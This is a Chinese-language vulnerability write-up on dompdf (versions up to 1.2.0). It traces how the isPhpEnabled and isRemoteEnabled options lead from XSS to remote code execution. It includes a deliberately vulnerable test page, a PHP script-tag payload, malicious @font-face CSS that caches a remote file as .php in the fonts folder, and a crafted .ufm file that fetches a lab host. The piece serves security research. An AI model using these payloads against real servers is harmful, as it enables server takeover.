0x00 简介

dompdf简介

一句话,主要功能就是讲html转换成pdf文档,下面是使用情况

Library Stars Forks Dependent Repos
dompdf 8.6k 1.6k 59.2k
snappy 4k 421 -
mpdf 3.5k 886 16.6k
tcpdf 3.2k 1.3k 14.5k
tc-lib-pdf 1.2k 180 85

漏洞简介

原作者连接:From XSS to RCE (dompdf 0day)

这里面主要提到了两个配置参数isPhpEnabled isRemoteEnabled

  • 第一个主要就是用来解析php代码的
  • 第二个是用来加载远程的文件的,比如img标签加载远程图片,link标签加载远程css

影响

正在使用dompdf版本 ≤ 0.8.5,或$isRemoteEnabled设置为true

请注意,版本 ≤ 0.8.5 不需要$isRemoteEnabled设置为易受攻击,

因为即使设置已停用,它们也会加载某些远程元素(例如字体)

具体影响版本是≤1.2.0

1.2.1中进行了修补,方式就是对生成的文件名进行了固定

image-20220419105119152

0x01 环境搭建

这是使用composer安装

1
composer require dompdf/dompdf

安装完成之后就包含三个模块dompdfphenxsabberworm

image-20220419110642863

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
require 'vendor/autoload.php';
// reference the Dompdf namespace
use Dompdf\Dompdf;

// instantiate and use the dompdf class
$dompdf = new Dompdf();
$options = $dompdf->getOptions();
$options->setIsRemoteEnabled(true);
$options->setIsPhpEnabled(true);
$dompdf->setOptions($options);
$dompdf->loadHtml($_GET['test']);

// (Optional) Setup the paper size and orientation
$dompdf->setPaper('A4', 'landscape');

// Render the HTML as PDF
$dompdf->render();

// Output the generated PDF to Browser
$dompdf->stream();
?>

0x02 isPhpEnabled参数

首先看一下这个参数,参数的作用就是解析php代码的

实际情况中遇到的应该不多,就简单说一下

使用方式在参数上面有介绍

image-20220419105929493

下面是解析的地方

image-20220419105958109

image-20220419110032450

最后会通过eval执行代码

image-20220419110111016

测试复现

当然这里为了直接在网页展示,注释了一块代码

这块代码在,会直接下载pdf

image-20220419111004140

测试payload

1
test=<html><body><script%20type="text/php">file_get_contents(%27http://127.0.0.1:7777/asdasda%27);</script><h1>aaaaa</h1></body></html>

执行成功

image-20220419112107192

0x03 isRemoteEnabled参数

相比之下,这个参数的可用度大大增加

加载一个远程的图片,或者link标签加载一个远程的css还是很正常的,不开启,就加载不上

在作者的原文中,实际上漏洞的原因就是允许加载远程的字体文件,进行缓存,但是在缓存的时候对后缀没有限制,导致加载的远程字体文件可以是php后缀,造成了缓存漏洞

加载流程

首先进入在render后进入了processHtml方法,开始解析html数据

image-20220419113002720

我们用link标签

link标签的href中取出要加载的css地址

image-20220419113722308

Stylesheet类的load_css_file方法中进行加载

这里会有是否允许远程加载的判断(这里目前未绕过去),获取到文件内容之后进行_parse_css进行css的解析

image-20220419114012798

通过正则匹配,匹配出css的语法

这里重点关注的就是font-face选项

image-20220419114352920

下面再匹配到之后就要进入关键方法了

image-20220419114616961

这里加载远程css方法共下面几个参数

  • font-family
  • font-weight
  • font-style
  • src:url

构造css代码,其实这里的font-weightfont-style,可以随意,没有影响

1
2
3
4
5
6
7
@font-face {
font-family:'aaa';
src:url('http://192.168.1.220:8220/vendor/dompdf/dompdf/lib/fonts/DejaVuSans.ttf');
font-weight:normal;
display: '-dompdf-image';
font-style:'aaa\'';
}

文件写入

首先看看存在几个写文件的地方

字体缓存索引

这里有一个可空参数就是font-family,但是被转义了

image-20220419115014791

图片缓存

后缀不可控

image-20220419115319059

openFont

内容完全不可控

image-20220419115519458

cache内容为

image-20220419115541270

当然这里依然会产生php文件,介绍一下流程

流程

方法被selectFont方法调用

image-20220419115705063

image-20220419115811063

在Text类中,当然很多类都有调用

image-20220419115917189

那么这是个处理什么的标签呢

  • textarea

生成php的方式

首先通过加载远程css生成一个ufm文件,注意font-family的值

1
2
3
4
5
6
7
@font-face {
font-family:'php_test';
src:url('http://192.168.1.220:8220/vendor/dompdf/dompdf/lib/fonts/DejaVuSans.ttf');
font-weight:normal;
display: '-dompdf-image';
font-style:'aaa\'';
}

会生成两个文件

1
test=<html><link%20href="http://192.168.1.220:8220/a.css"%20rel="stylesheet"%20type="text/css"><body><h1>aaaaa</h1></body></html>

image-20220419142830055

修改a.css

1
2
3
4
5
6
7
@font-face {
font-family:'test';
src:url('http://192.168.1.220:8220/vendor/dompdf/dompdf/lib/fonts/DejaVuSans.ttf');
font-weight:normal;
display: '-dompdf-image';
font-style:'aaa\'';
}

注意url不要变动,这样md5就是一样的

image-20220419143023562

通过textarea加载生成的字体,注意font-family的值

1
test=<h1>aaaa</h1><textarea%20rows="3"%20cols="20"%20style="font-family:%27test%27">aaaaaa</textarea><link%20href="http://192.168.1.220:8220/a.css"%20rel="stylesheet"%20type="text/css">

当然生成了个没啥用的文件。。

image-20220419143238924

这里为接下来的优化提供了帮助

远程字体的缓存

这个也就上上面的url的地址

image-20220419143427185

但是这里会对,加载的文件进行验证,绕过还是很简单的,只验证了部分字符

image-20220419143521841

复现,修改css文件

image-20220419143746132

vendor\dompdf\dompdf\lib\fonts目录下生成了缓存文件

test_normal_961b66a3ac2afd9ab8798ff94864d964.php

image-20220419144013910

限制

  • 开启远程加载,这个不是问题
  • 存在xss,毕竟是转化html文档,可能性也不小
  • dompdf 安装在可通过网络访问的目录中。例如,如果使用Composer将库安装在 docroot 内的某处而没有明确禁止访问该vendor文件夹,这点基本就不太可能了,尤其是在框架中

0x04 升级

我们需要一个文件包含

上面的两种写文件的方式完全可以结合

然后会存在一个文件包含的行为

image-20220419144400368

这里需要注意的是最后写文件的时候是部分可控,并且在return后面

image-20220419144547708

这个时候回忆font对文件的验证

被框住的两处是可以被利用的

image-20220419151940211

复现

首先生成一个可控的ufm文件,第三处需要php大于7.4,因为调用了mb_str_split方法

第一处的话存在编码问题,直接用第二处, 正好true是布尔类型

1
2
3
4
<?php
$contents = "true.@file_get_contents('http://127.0.0.1:7777/asdasd');";
file_put_contents('1.ufm',$contents);
?>

修改css文件

1
2
3
4
5
6
7
@font-face {
font-family:'php_test';
src:url('http://192.168.1.220:8220/1.ufm');
font-weight:normal;
display: '-dompdf-image';
font-style:'aaa\'';
}

生成了文件

image-20220419150527434

修改css文件

1
2
3
4
5
6
7
@font-face {
font-family:'test';
src:url('http://192.168.1.220:8220/1.ufm');
font-weight:normal;
display: '-dompdf-image';
font-style:'aaa\'';
}

image-20220419152201731

访问

1
test=<h1>aaaa</h1><textarea%20rows="3"%20cols="20"%20style="font-family:%27test%27">aaaaaa</textarea><link%20href="http://192.168.1.220:8220/a.css"%20rel="stylesheet"%20type="text/css">

成功被包含,接收到了访问请求

0x05 end

至于远程的问题,暂时没看,在加载远程文件的问题上,使用的file_get_contents

可以触发反序列化,下篇分析